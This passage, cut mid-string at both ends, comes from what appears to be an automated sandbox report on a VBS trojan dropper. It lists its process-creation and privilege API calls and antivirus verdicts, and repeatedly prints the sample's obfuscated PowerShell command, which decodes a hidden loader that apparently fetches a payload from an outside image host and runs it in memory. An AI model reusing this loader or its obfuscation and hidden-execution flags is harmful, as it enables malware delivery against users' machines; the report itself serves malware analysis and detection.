QzUbP‡ÃKuuzUbP‡ÃKuEczUbP‡ÃKuZQB0zUbP‡ÃKuE0zUbP‡ÃKuZQB0zUbP‡ÃKuGgzUbP‡ÃKubwBkzUbP‡ÃKuCgzUbP‡ÃKuJwBWzUbP‡ÃKuEEzUbP‡ÃKuSQzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuLgBJzUbP‡ÃKuG4zUbP‡ÃKudgBvzUbP‡ÃKuGszUbP‡ÃKuZQzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKubgB1zUbP‡ÃKuGwzUbP‡ÃKubzUbP‡ÃKuzUbP‡ÃKuszUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuWwBvzUbP‡ÃKuGIzUbP‡ÃKuagBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuBbzUbP‡ÃKuF0zUbP‡ÃKuXQzUbP‡ÃKugzUbP‡ÃKuCgzUbP‡ÃKuJwBkzUbP‡ÃKuEgzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKuwzUbP‡ÃKuEwzUbP‡ÃKubQBWzUbP‡ÃKuHUzUbP‡ÃKuYgzUbP‡ÃKuzzUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKueQBZzUbP‡ÃKuFYzUbP‡ÃKuYwzUbP‡ÃKuxzUbP‡ÃKuE4zUbP‡ÃKuRzUbP‡ÃKuBNzUbP‡ÃKuHkzUbP‡ÃKuTQBTzUbP‡ÃKuDkzUbP‡ÃKubzUbP‡ÃKuBizUbP‡ÃKuEczUbP‡ÃKubzUbP‡ÃKuBtzUbP‡ÃKuEwzUbP‡ÃKuegBJzUbP‡ÃKuHgzUbP‡ÃKuTQBpzUbP‡ÃKuDQzUbP‡ÃKuegBNzUbP‡ÃKuFQzUbP‡ÃKuRQB1zUbP‡ÃKuE4zUbP‡ÃKuVzUbP‡ÃKuBjzUbP‡ÃKuHgzUbP‡ÃKuTzUbP‡ÃKuBqzUbP‡ÃKuGMzUbP‡ÃKudwBNzUbP‡ÃKuFMzUbP‡ÃKuOzUbP‡ÃKuB2zUbP‡ÃKuE8zUbP‡ÃKubgBCzUbP‡ÃKuDzUbP‡ÃKuzUbP‡ÃKuZzUbP‡ÃKuBHzUbP‡ÃKuGczUbP‡ÃKuPQzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuJwzUbP‡ÃKugzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuDIzUbP‡ÃKuJwzUbP‡ÃKugzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuEYzUbP‡ÃKuaQByzUbP‡ÃKuGUzUbP‡ÃKuZgBvzUbP‡ÃKuHgzUbP‡ÃKucwzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuMQzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuQwzUbP‡ÃKu6zUbP‡ÃKuFwzUbP‡ÃKuVwBpzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBvzUbP‡ÃKuHczUbP‡ÃKucwBczUbP‡ÃKuFQzUbP‡ÃKuZQBtzUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuXzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuEYzUbP‡ÃKuaQByzUbP‡ÃKuGUzUbP‡ÃKuZgBvzUbP‡ÃKuHgzUbP‡ÃKucwzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuKQzUbP‡ÃKu=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zUbPÇKu','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002ec
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command "$Codigo = 'JzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVQByzUbP‡ÃKuGwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwBozUbP‡ÃKuHQzUbP‡ÃKudzUbP‡ÃKuBwzUbP‡ÃKuHMzUbP‡ÃKuOgzUbP‡ÃKuvzUbP‡ÃKuC8zUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuHUzUbP‡ÃKuczUbP‡ÃKuBszUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuC4zUbP‡ÃKuaQBvzUbP‡ÃKuC8zUbP‡ÃKuaQBizUbP‡ÃKuC8zUbP‡ÃKuVwBKzUbP‡ÃKuHYzUbP‡ÃKuZQBYzUbP‡ÃKuDczUbP‡ÃKuMQBhzUbP‡ÃKuGczUbP‡ÃKubQBPzUbP‡ÃKuFEzUbP‡ÃKuNgBHzUbP‡ÃKuHczUbP‡ÃKuXwzUbP‡ÃKuxzUbP‡ÃKuDYzUbP‡ÃKuOQzUbP‡ÃKu4zUbP‡ÃKuDczUbP‡ÃKuNgzUbP‡ÃKuyzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuzUbP‡ÃKuyzUbP‡ÃKuC4zUbP‡ÃKuagBwzUbP‡ÃKuGczUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKudwBlzUbP‡ÃKuGIzUbP‡ÃKuQwBszUbP‡ÃKuGkzUbP‡ÃKuZQBuzUbP‡ÃKuHQzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuTgBlzUbP‡ÃKuHczUbP‡ÃKuLQBPzUbP‡ÃKuGIzUbP‡ÃKuagBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuTgBlzUbP‡ÃKuHQzUbP‡ÃKuLgBXzUbP‡ÃKuGUzUbP‡ÃKuYgBDzUbP‡ÃKuGwzUbP‡ÃKuaQBlzUbP‡ÃKuG4zUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuHczUbP‡ÃKuZQBizUbP‡ÃKuEMzUbP‡ÃKubzUbP‡ÃKuBpzUbP‡ÃKuGUzUbP‡ÃKubgB0zUbP‡ÃKuC4zUbP‡ÃKuRzUbP‡ÃKuBvzUbP‡ÃKuHczUbP‡ÃKubgBszUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuEQzUbP‡ÃKuYQB0zUbP‡ÃKuGEzUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBVzUbP‡ÃKuHIzUbP‡ÃKubzUbP‡ÃKuzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKuuzUbP‡ÃKuEUzUbP‡ÃKubgBjzUbP‡ÃKuG8zUbP‡ÃKuZzUbP‡ÃKuBpzUbP‡ÃKuG4zUbP‡ÃKuZwBdzUbP‡ÃKuDozUbP‡ÃKuOgBVzUbP‡ÃKuFQzUbP‡ÃKuRgzUbP‡ÃKu4zUbP‡ÃKuC4zUbP‡ÃKuRwBlzUbP‡ÃKuHQzUbP‡ÃKuUwB0zUbP‡ÃKuHIzUbP‡ÃKuaQBuzUbP‡ÃKuGczUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBCzUbP‡ÃKuHkzUbP‡ÃKudzUbP‡ÃKuBlzUbP‡ÃKuHMzUbP‡ÃKuKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃKu8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡ÃKuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBTzUbP‡ÃKuFQzUbP‡ÃKuQQBSzUbP‡ÃKuFQzUbP‡ÃKuPgzUbP‡ÃKu+zUbP‡ÃKuCczUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuGUzUbP‡ÃKubgBkzUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃKu8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡ÃKuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBFzUbP‡ÃKuE4zUbP‡ÃKuRzUbP‡ÃKuzUbP‡ÃKu+zUbP‡ÃKuD4zUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBUzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuB0zUbP‡ÃKuC4zUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuE8zUbP‡ÃKuZgzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuZQBuzUbP‡ÃKuGQzUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuFQzUbP‡ÃKuZQB4zUbP‡ÃKuHQzUbP‡ÃKuLgBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuTwBmzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBGzUbP‡ÃKuGwzUbP‡ÃKuYQBnzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuHMzUbP‡ÃKudzUbP‡ÃKuBhzUbP‡ÃKuHIzUbP‡ÃKudzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGczUbP‡ÃKuZQzUbP‡ÃKugzUbP‡ÃKuDzUbP‡ÃKuzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGczUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCszUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuLgBMzUbP‡ÃKuGUzUbP‡ÃKubgBnzUbP‡ÃKuHQzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuYgBhzUbP‡ÃKuHMzUbP‡ÃKuZQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuTzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZwB0zUbP‡ÃKuGgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBzzUbP‡ÃKuHQzUbP‡ÃKuYQByzUbP‡ÃKuHQzUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBDzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuFQzUbP‡ÃKuZQB4zUbP‡ÃKuHQzUbP‡ÃKuLgBTzUbP‡ÃKuHUzUbP‡ÃKuYgBzzUbP‡ÃKuHQzUbP‡ÃKucgBpzUbP‡ÃKuG4zUbP‡ÃKuZwzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKuszUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBMzUbP‡ÃKuGUzUbP‡ÃKubgBnzUbP‡ÃKuHQzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBjzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuQwBvzUbP‡ÃKuG4zUbP‡ÃKudgBlzUbP‡ÃKuHIzUbP‡ÃKudzUbP‡ÃKuBdzUbP‡ÃKuDozUbP‡ÃKuOgBGzUbP‡ÃKuHIzUbP‡ÃKubwBtzUbP‡ÃKuEIzUbP‡ÃKuYQBzzUbP‡ÃKuGUzUbP‡ÃKuNgzUbP‡ÃKu0zUbP‡ÃKuFMzUbP‡ÃKudzUbP‡ÃKuByzUbP‡ÃKuGkzUbP‡ÃKubgBnzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBDzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuGwzUbP‡ÃKubwBhzUbP‡ÃKuGQzUbP‡ÃKuZQBkzUbP‡ÃKuEEzUbP‡ÃKucwBzzUbP‡ÃKuGUzUbP‡ÃKubQBizUbP‡ÃKuGwzUbP‡ÃKueQzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuUgBlzUbP‡ÃKuGYzUbP‡ÃKubzUbP‡ÃKuBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuBpzUbP‡ÃKuG8zUbP‡ÃKubgzUbP‡ÃKuuzUbP‡ÃKuEEzUbP‡ÃKucwBzzUbP‡ÃKuGUzUbP‡ÃKubQBizUbP‡ÃKuGwzUbP‡ÃKueQBdzUbP‡ÃKuDozUbP‡ÃKuOgBMzUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBjzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuB0zUbP‡ÃKuHkzUbP‡ÃKuczUbP‡ÃKuBlzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKubzUbP‡ÃKuBvzUbP‡ÃKuGEzUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuGQzUbP‡ÃKuQQBzzUbP‡ÃKuHMzUbP‡ÃKuZQBtzUbP‡ÃKuGIzUbP‡ÃKubzUbP‡ÃKuB5zUbP‡ÃKuC4zUbP‡ÃKuRwBlzUbP‡ÃKuHQzUbP‡ÃKuVzUbP‡ÃKuB5zUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuZQzUbP‡ÃKuozUbP‡ÃKuCczUbP‡ÃKuRgBpzUbP‡ÃKuGIzUbP‡ÃKuZQByzUbP‡ÃKuC4zUbP‡ÃKuSzUbP‡ÃKuBvzUbP‡ÃKuG0zUbP‡ÃKuZQzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuG0zUbP‡ÃKuZQB0zUbP‡ÃKuGgzUbP‡ÃKubwBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKudzUbP‡ÃKuB5zUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuZQzUbP‡ÃKuuzUbP‡ÃKuEczUbP‡ÃKuZQB0zUbP‡ÃKuE0zUbP‡ÃKuZQB0zUbP‡ÃKuGgzUbP‡ÃKubwBkzUbP‡ÃKuCgzUbP‡ÃKuJwBWzUbP‡ÃKuEEzUbP‡ÃKuSQzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuLgBJzUbP‡ÃKuG4zUbP‡ÃKudgBvzUbP‡ÃKuGszUbP‡ÃKuZQzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKubgB1zUbP‡ÃKuGwzUbP‡ÃKubzUbP‡ÃKuzUbP‡ÃKuszUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuWwBvzUbP‡ÃKuGIzUbP‡ÃKuagBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuBbzUbP‡ÃKuF0zUbP‡ÃKuXQzUbP‡ÃKugzUbP‡ÃKuCgzUbP‡ÃKuJwBkzUbP‡ÃKuEgzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKuwzUbP‡ÃKuEwzUbP‡ÃKubQBWzUbP‡ÃKuHUzUbP‡ÃKuYgzUbP‡ÃKuzzUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKueQBZzUbP‡ÃKuFYzUbP‡ÃKuYwzUbP‡ÃKuxzUbP‡ÃKuE4zUbP‡ÃKuRzUbP‡ÃKuBNzUbP‡ÃKuHkzUbP‡ÃKuTQBTzUbP‡ÃKuDkzUbP‡ÃKubzUbP‡ÃKuBizUbP‡ÃKuEczUbP‡ÃKubzUbP‡ÃKuBtzUbP‡ÃKuEwzUbP‡ÃKuegBJzUbP‡ÃKuHgzUbP‡ÃKuTQBpzUbP‡ÃKuDQzUbP‡ÃKuegBNzUbP‡ÃKuFQzUbP‡ÃKuRQB1zUbP‡ÃKuE4zUbP‡ÃKuVzUbP‡ÃKuBjzUbP‡ÃKuHgzUbP‡ÃKuTzUbP‡ÃKuBqzUbP‡ÃKuGMzUbP‡ÃKudwBNzUbP‡ÃKuFMzUbP‡ÃKuOzUbP‡ÃKuB2zUbP‡ÃKuE8zUbP‡ÃKubgBCzUbP‡ÃKuDzUbP‡ÃKuzUbP‡ÃKuZzUbP‡ÃKuBHzUbP‡ÃKuGczUbP‡ÃKuPQzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuJwzUbP‡ÃKugzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuDIzUbP‡ÃKuJwzUbP‡ÃKugzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuEYzUbP‡ÃKuaQByzUbP‡ÃKuGUzUbP‡ÃKuZgBvzUbP‡ÃKuHgzUbP‡ÃKucwzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuMQzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuQwzUbP‡ÃKu6zUbP‡ÃKuFwzUbP‡ÃKuVwBpzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBvzUbP‡ÃKuHczUbP‡ÃKucwBczUbP‡ÃKuFQzUbP‡ÃKuZQBtzUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuXzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuEYzUbP‡ÃKuaQByzUbP‡ÃKuGUzUbP‡ÃKuZgBvzUbP‡ÃKuHgzUbP‡ÃKucwzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuKQzUbP‡ÃKu=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zUbPÇKu','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2800
thread_handle: 0x0000045c
process_identifier: 2796
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x00000460
1 1 0
Skyhigh BehavesLike.VBS.Dropper.np
Avast Script:SNH-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Trojan.Script.Generic
F-Secure Malware.VBS/Dldr.Agent.VPKH
Avira VBS/Dldr.Agent.VPKH
AVG Script:SNH-gen [Trj]
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
parent_process wscript.exe martian_process powershell -command "$Codigo = 'JzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVQByzUbP‡ÃKuGwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwBozUbP‡ÃKuHQzUbP‡ÃKudzUbP‡ÃKuBwzUbP‡ÃKuHMzUbP‡ÃKuOgzUbP‡ÃKuvzUbP‡ÃKuC8zUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuHUzUbP‡ÃKuczUbP‡ÃKuBszUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuC4zUbP‡ÃKuaQBvzUbP‡ÃKuC8zUbP‡ÃKuaQBizUbP‡ÃKuC8zUbP‡ÃKuVwBKzUbP‡ÃKuHYzUbP‡ÃKuZQBYzUbP‡ÃKuDczUbP‡ÃKuMQBhzUbP‡ÃKuGczUbP‡ÃKubQBPzUbP‡ÃKuFEzUbP‡ÃKuNgBHzUbP‡ÃKuHczUbP‡ÃKuXwzUbP‡ÃKuxzUbP‡ÃKuDYzUbP‡ÃKuOQzUbP‡ÃKu4zUbP‡ÃKuDczUbP‡ÃKuNgzUbP‡ÃKuyzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuzUbP‡ÃKuyzUbP‡ÃKuC4zUbP‡ÃKuagBwzUbP‡ÃKuGczUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKudwBlzUbP‡ÃKuGIzUbP‡ÃKuQwBszUbP‡ÃKuGkzUbP‡ÃKuZQBuzUbP‡ÃKuHQzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuTgBlzUbP‡ÃKuHczUbP‡ÃKuLQBPzUbP‡ÃKuGIzUbP‡ÃKuagBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuTgBlzUbP‡ÃKuHQzUbP‡ÃKuLgBXzUbP‡ÃKuGUzUbP‡ÃKuYgBDzUbP‡ÃKuGwzUbP‡ÃKuaQBlzUbP‡ÃKuG4zUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuHczUbP‡ÃKuZQBizUbP‡ÃKuEMzUbP‡ÃKubzUbP‡ÃKuBpzUbP‡ÃKuGUzUbP‡ÃKubgB0zUbP‡ÃKuC4zUbP‡ÃKuRzUbP‡ÃKuBvzUbP